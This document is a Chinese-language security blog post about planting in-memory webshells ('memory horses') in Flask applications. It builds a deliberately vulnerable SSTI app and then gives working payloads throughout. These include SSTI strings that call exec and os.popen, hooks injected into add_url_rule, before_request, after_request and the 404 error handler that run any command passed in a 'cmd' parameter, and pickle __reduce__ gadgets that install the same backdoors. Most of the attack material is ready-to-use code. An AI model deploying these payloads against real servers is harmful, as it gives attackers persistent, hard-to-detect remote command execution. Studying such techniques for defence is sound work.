目录

  1. 1. 前言
  2. 2. debug模式下不出网回显
  3. 3. 低版本内存马
    1. 3.1. add_url_rule
    2. 3.2. 获取app上下文
      1. 3.2.1. 低版本中_request_ctx_stack
      2. 3.2.2. sys.modules
  4. 4. 新版内存马
    1. 4.1. before_request
    2. 4.2. after_request
    3. 4.3. 其它的钩子
      1. 4.3.1. error_handler_spec
    4. 4.4. ssti利用
    5. 4.5. pickle利用

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

Flask内存马

2024/8/9 Web flask 内存马
  |     |   总文章阅读量:

前言

年轻人学的第一个内存马,竟然不是java(

看大伙好像前几个月都在研究这个,学一下,顺带复健一下,已经摸了两周🐟了

参考:

https://github.com/iceyhexman/flask_memory_shell

http://www.mi1k7ea.com/2021/04/07/%E6%B5%85%E6%9E%90Python-Flask%E5%86%85%E5%AD%98%E9%A9%AC/

https://longlone.top/%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/flask%E4%B8%8D%E5%87%BA%E7%BD%91%E5%9B%9E%E6%98%BE%E6%96%B9%E5%BC%8F/

https://xz.aliyun.com/t/14421

https://www.cnblogs.com/gxngxngxn/p/18181936


先准备一个Flask SSTI漏洞环境:

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/')
def home():
    person = 'guest'
    if request.args.get('name'):
        person = request.args.get('name')
    template = '<h2>Hello %s!</h2>' % person
    return render_template_string(template)


if __name__ == "__main__":
    app.run(debug=False)

debug模式下不出网回显

在debug模式下,报错会带出详细信息,debug模式常见的考点有算pin码进console来命令执行

其实我们也可以通过手动报错raise Exception()的方式来让我们的命令回显

payload:

{{url_for.__globals__['__builtins__']['exec']("raise Exception(__import__('os').popen('whoami').read())")}}

image-20240809214712376


接下来关闭debug模式,开始研究🐎

低版本内存马

payload:

{{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}

因为懒得搞低版本的flask了,这里对payload里的关键部分稍微分析一下就过了

在eval中,执行了这样一个东西:

"
app.add_url_rule(
'/shell',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
)
",
{
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
'app':url_for.__globals__['current_app']
}

很明显,这里调用了Flask对象的add_url_rule方法

add_url_rule

在Flask中注册路由是使用@app.route()装饰器来实现的,看一下其源码实现:

image-20240809213132894

可以看到这里用了add_url_rule来添加路由,这几个参数的说明:

  • rule:函数对应的URL规则,满足条件和 app.route() 的第一个参数一样,必须以/开头;
  • endpoint:端点,即在使用 url_for() 进行反转的时候,这里传入的第一个参数就是 endpoint 对应的值。这个值也可以不指定,那么默认就会使用函数的名字作为 endpoint 的值;
  • view_func:URL对应的函数(注意,这里只需写函数名字而不用加括号),下面的图对照的就是def home()
  • provide_automatic_options:控制是否应自动添加选项方法。这也可以通过设置视图来控制_func.provide_automatic_options =添加规则前为False;
  • options:要转发到基础规则对象的选项。Werkzeug 的一个变化是处理方法选项。方法是此规则应限制的方法列表(GET、POST等)。默认情况下,规则只侦听 GET(并隐式地侦听HEAD)

image-20240809213643592

对照一下payload,可以知道这里添加了一条路由,处理该路由的函数是个由lambda关键字定义的匿名函数


获取app上下文

低版本中_request_ctx_stack

_request_ctx_stack是Flask的一个全局变量,是一个LocalStack实例

Flask请求上下文管理机制:当一个请求进入Flask,首先会实例化一个Request Context,这个上下文封装了请求的信息在Request中,并将这个上下文推入到一个名为_request_ctx_stack 的栈结构中

也就是说获取当前的请求上下文等同于获取_request_ctx_stack的栈顶元素_request_ctx_stack.top,这里等价于获取了<Flask 'app'>

那么_request_ctx_stack.top.request.args.get('cmd', 'whoami')就能获取cmd参数

sys.modules

url_for.__globals__['sys'].modules['__main__'].__dict__['app']

url_for.__globals__['sys'].modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda :__import__('os').popen('dir').read())

新版内存马

测试版本:Flask 2.2.0

不知道从哪个版本开始,flask不再支持在程序运行的过程中通过add_url_rule添加路由

那就得另辟蹊径了

这里可以利用@app.before_request或者@app.after_request这两个底层函数来打

接下来先以下面这个路由进行测试:

@app.route('/e')
def e():
    a = eval(request.args.get('cmd'))
    if a :
        return "1"
    else:
        return "0"

before_request

在 Flask 中,before_request 是一个装饰器,它用于在请求处理之前执行特定的函数。这个装饰器允许对每个请求进行一些预处理,比如认证检查、日志记录、设置响应头等

from flask import Flask, request

app = Flask(__name__)


@app.before_request
def test():
    if not request.headers.get("Authorization"):
        return "Unauthorized", 401

像上面这个demo就是检测请求 headers 有无 Authorization 字段来实现身份认证

跟进一下这个装饰器

image-20240810004201760

可以看到这里实际上调用的是

self.before_request_funcs.setdefault(None, []).append(f)

作用是:

  • 检查 self.before_request_funcs 字典中是否有一个键为 None 的条目。
  • 如果没有 None 键,就在字典中创建它,并将其值设置为一个空列表。
  • 然后,无论 None 键是否存在,都将函数 f 添加到这个列表中。

image-20240810004555015

那么这个f就是我们添加的函数了,于是我们同样可以自定义一个 lambda 函数,这样在每次发起请求前就都会触发了

于是可以构造我们的payload:

app.before_request_funcs.setdefault(None, []).append(lambda: "123")

image-20240810005710518

第一次写入进去,之后所有的访问请求都会返回123

不过弊端也很明显,使用lambda必然会得到一个返回值,那么服务后续的操作都无法进行,会影响到主机的正常业务


after_request

和 before_request 相反,after_request会在请求结束得到响应包之后进行操作

image-20240810010120613

和前面那个一样,唯一要注意的是这个需要定义一个返回值,不然就会报错

构造payload:(注意,在本人的测试版本上需要提前在代码中导入对应的包才可打入payload)

app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec('global CmdResp;CmdResp=make_response(os.popen(request.args.get(\'cmd\')).read())')==None else resp)

函数的内容为:

lambda resp: # 传入参数
    CmdResp if request.args.get('cmd') and      # 如果请求参数含有cmd则返回命令执行结果
    exec('
        global CmdResp;     # 定义一个全局变量,方便获取
        CmdResp=make_response(os.popen(request.args.get(\'cmd\')).read())   # 创建一个响应对象
    ')==None    # 恒真
    else resp)  # 如果请求参数没有cmd则正常返回
# 这里的cmd参数名和CmdResp变量名都是可以改的,最好改成服务中不存在的变量名以免影响正常业务

打入后就getshell了


其它的钩子

都是gxngxngxn师傅找到的,tql

teardown_request:跟前面after_request的类似,payload也通用,改个调用的底层函数名就行,但是无回显。。

error_handler_spec

该函数用于自定义404页面的回显

@app.errorhandler(404)
def errortest(e):
    print('error_handler(404)')
    print(e)
    return '404 Err0r'

image-20240810012504500

跟进这个装饰器的底层逻辑

image-20240810012603684

发现眼熟的东西,当然按照旧版内存马的方式直接调用register_error_handler同样是不行的

但是值得注意的是,这里传入register_error_handler的参数有code_or_exceptionf

f依旧是我们可控的函数,那么接下来就是要构造code_or_exception使得codeexc_class也可控,在前面code_or_exception的值为404

跟进一下_get_exc_class_and_code

image-20240810013648894

那这还构造个啥,直接_get_exc_class_and_code(404),这样就能返回常规的变量了

payload:

exec("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()")

image-20240810014235559


ssti利用

考虑到上下文没有导入包的情况

注:部分flask版本下无法使用url_for.__globals__['current_app']来获取app,因此这里改用sys.modules

{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}

image-20240810011718358

{{url_for.__globals__['__builtins__']['eval']("exec(\"global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()\")",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}

pickle利用

import os
import pickle
import base64
class A():
    def __reduce__(self):
        return (eval,("__import__(\"sys\").modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('cmd')).read())",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))
import os
import pickle
import base64
class A():
    def __reduce__(self):
        return (eval,("__import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))
import os
import pickle
import base64
class A():
    def __reduce__(self):
        return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))